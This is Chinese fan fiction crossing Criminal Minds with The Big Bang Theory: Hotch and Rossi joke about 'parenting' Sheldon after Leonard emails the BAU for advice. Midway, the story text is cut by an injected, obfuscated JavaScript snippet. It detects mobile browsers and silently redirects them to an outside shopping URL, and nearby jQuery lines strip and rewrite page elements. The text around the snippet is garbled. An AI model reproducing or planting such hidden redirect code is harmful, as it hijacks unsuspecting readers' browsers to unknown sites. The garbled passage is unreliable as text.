晨会结束后，an打着呵欠递给Hotch一张名片，是Leonard的，他冲Hotch挤了挤眼，“战场带回来的纪念品。有人想咨询一下。找你。还有Rossi。这个人想与你们讨论一下育儿问题。”
Hotch不解，他的眉心瞬间聚拢，形成一道深深的沟壑。他抬起头，眼神里写满了困惑与一种本能的防御式抗拒，“育儿建议？Jack大多是Haley在带。我不认为我的日程表让我有资格成为模范家长。”
an发出一声短促的笑，那是他开始幸灾乐祸的前奏。他摆了摆手，“噢，不，不。不是那种育儿。是关于……如何养出像Reid那样的天才。而不是……嗯，不管那家伙是个什么东西。”
Hotch并没有立刻伸手去接。他垂下眼帘，目光扫过那张名片。上面印着加州理工学院的校徽，以及一行的头衔：Leonard Hofstadter, Ph.D., Experimental Physics。
他伸出两根手指，夹住那张薄薄的纸片，动作谨慎得像是在提取证物。
Hotch的手指停顿了一下。他看着名片上Leonard的名字，仿佛透过这个名字看到了一个在绝望深渊里挣扎的灵魂。
“□□，联邦禁药……这个叫 Leonard 的家伙，他说他可以接受一切。”an的笑声变大了，引得路过的Garcia 探头看了一眼，“他把你当成了恶魔家长，或者干脆是那种神秘实验室的创始人。Hotch。他听起来很绝望。但老实说，谁能怪他呢？他和Sheldon住在一起。
Hotch沉默了片刻。他把那张名片翻转过来，看着背面的空白。
“告诉Dr.Hofstadter,虽然联邦法规禁止对平民使用管制药物……但我可能知道几种刑事犯的行为矫正技术。鉴于 Dr. Cooper的表现，我们有理由使用它。”
an愣了一下，随即爆发出一阵大笑，笑得差点把手里的空纸杯捏扁。
“我会转达的。他可能会为你建个神龛。顺便说一句，头儿。我们都知道你和Dave是这个功能失调家庭的家长。但我们还是很好奇……”an突然收敛了一些笑容，身体前倾，压低了声音，视线在Hotch严肃的脸上转了一圈，那个大胆的问题终于滑出了喉咙。
“……谁是爸爸，谁是妈妈？”
Hotch看着an，脸上的表情没有发生任何裂变。
他没有直接回答。相反，他把 Leonard 的名片极其整齐地塞进了西装上衣的口袋里。
“Rossi 周末给团队煮意面。他在鞋子上花的钱。”Hotch 淡淡地说道，把话题推向了终结，“你来告诉我，an。”
说完，他没有给an任何反应的时间，直接转身推开了办公室的门。
随着门发出轻微的咔哒声，an独自站在走廊里，愣了几秒钟，然后对着闭合的百叶窗比了一个敬佩的手势。
“一针见血。”an喃喃自语。
回到自己的办公室后，Hotch收到了一封邮件，措辞严谨、极其客气。Leonard怕Sheldon，也怕FBI，但是目前来看对前者的恐惧更甚一筹。
这封邮件的行文结构严谨得令人发指，每一段落都遵循着最标准的学术格式。
信的开头极其客气，充分展现出一个普通人在面对某种不可名状权威时的战战兢兢。Hotch的视线顺着那些密密麻麻的单词向下滑动。Leonard用了整整两段来阐述他对FBI的敬畏，以及对Sheldon给BAU造成困扰的深切歉意——尽管字里行间那种“既然你们接手了，能不能就别还给我”的暗示简直昭然若揭。
“……我了解到Reid博士是贵团队的重要成员。智商极高，具备社会功能，且能够遵守社会契约而无需签署书面文件。我怀着极大的谦卑和极高的敬意致信于您，询问他在成长过程中所采用的教育方法。”
Hotch读到这里，嘴角不由自主地抽动了一下。如an所说，Leonard显然把BAU当成了某种特殊儿童管教中心，而把Rossi和他当成了掌握某种黑魔法的驯兽师。
接下来的段落更是演都不演了。
“作为一名实验物理学家，我愿意在我能力范围内提供任何补偿（虽然必须承认这很有限，但我可以使用高功率激光）。如果您能分享哪怕一小部分关于如何在不诉诸杀人的情况下管理天才的技巧，我将感激不尽。”
视线落到最后一段，那是Leonard最后的孤注一掷。
“此外，如果联邦调查局发现 Cooper 博士的技能对国家安全不可或缺，请知悉，我本人、Howard Wolowitz 和 Rajesh Koothrappali 将全力支持他的招募。我们绝不会阻碍他为国效力。事实上，我们会帮他打包行李。”
Hotch 放下鼠标，双手交叉抵在下巴上，盯着那行字看了许久，敲下了几个字，然后停顿，删除，再重新输入。他没有给出任何实质性的育儿建议——毕竟Reid的体贴更多是天性使然——但他觉得有必要给这位可怜的室友一点人道主义的关怀。
“Dr. Hofstadter，虽然 FBI 感谢您的爱国提议，但关于您的询问，耐心是我们目前拥有的唯一武器。”
他点击了发送。屏幕上那个“正在发送”的进度条一闪而过，随即消失不见。
下午。Rossi推开Hotch办公室的门，门外的办公区传来一阵骚动，即使隔着玻璃也能听见某个恼人的高频嗓音正在阐述关于“文件归档的原理”“杜威十进制分类法的优越性”。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149288|196422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你气色不错。”
Hotch坐在办公桌后，手里的钢笔刚刚在一份预算申请表上签完最后一个字母。听到Rossi的声音，他的笔尖在纸面上停顿了一瞬，墨水洇开一个小小的黑点，但他没有立刻抬头。
“外头那个怪胎博士正在纠正JJ的标签分类法，看来你也不准备管了。”Rossi闲闲地笑道。
Hotch把文件放到那一摞已经处理好的文件堆上，“标签系统是我们最小的担忧了，Dave。我相信你听到那些传言了。”他终于抬起眼，目光穿过空气中的浮尘，落在老友身上。
Rossi侧了侧头，“说到传言，我听说你栽赃我是妈妈？嗯？我有超过一位的前妻会认为这个声明在法律上是可以起诉的。”
Hotch平淡道，“an问了一个问题，我只是提供了数据。”
“那你给Garcia送花、她中枪时一个人默默擦她公寓里的血渍的那些又该怎么算呢？”
“当你的团队成员流血，你不能只是看着清理公司的人进去，把那些痕迹当成污渍擦掉。那是她的家，她的生活，她的恐惧。她不能就这样回到犯罪现场。她不应该承受这些，没有人应该。”Hotch最终说道，他从不认为那是什么特殊的关怀。
“这很……务实。”他收回视线，重新看向桌面上那份关于罗斯曼案的报告，试图把对话拉回安全区域，也是BAU最熟悉的领域。责任与实际。
“务实。” Rossi重复了一遍这个词，嘴角的笑意加深了，眼神里满是看透一切的通透，“就像让一个物理学家重组我们的办公室是‘务实’的，因为那能让他安静；或者带他回家是‘务实’的，因为酒店不安全。”
“我的朋友，这是经典的母性本能，你是那个在孩子们撒野时守护堡垒的人。如果我是妈妈因为我喝红酒买昂贵的鞋子；那么你就是妈妈因为你收拾他们的烂摊子。我们是一对女同性恋情侣，接受现实吧，Aaron.”
“但就算是这样，我会给他们买玩具付账单，而你只会确保他们刷牙并且不玩剪刀。你还是无聊的那一个。”Rossi狡黠地说。
门外Sheldon还在滔滔不绝，“Agent Jareau,把‘未结’档案放在冷案的旁边，难道你没有意识到这在语义上的冗余吗？”
两人的视线在空中心照不宣地交汇，Hotch 重新低下头，认命且疲惫地说，“不管谁是爸爸谁是妈妈，我们绝对生了一个怪胎。”
Rossi笑道，“嘿，Dr.Hofstadter发邮件说愿意付钱让我们留下他呢，严格来说，这位怪胎博士是我们珍贵的收入来源。特别是我们有这么一大家子要养的情况下。”
Hotch点点头，“他也给你发了。”
Rossi走向门口大笑起来，“对，但是我还没有回复。我只是可怜他。”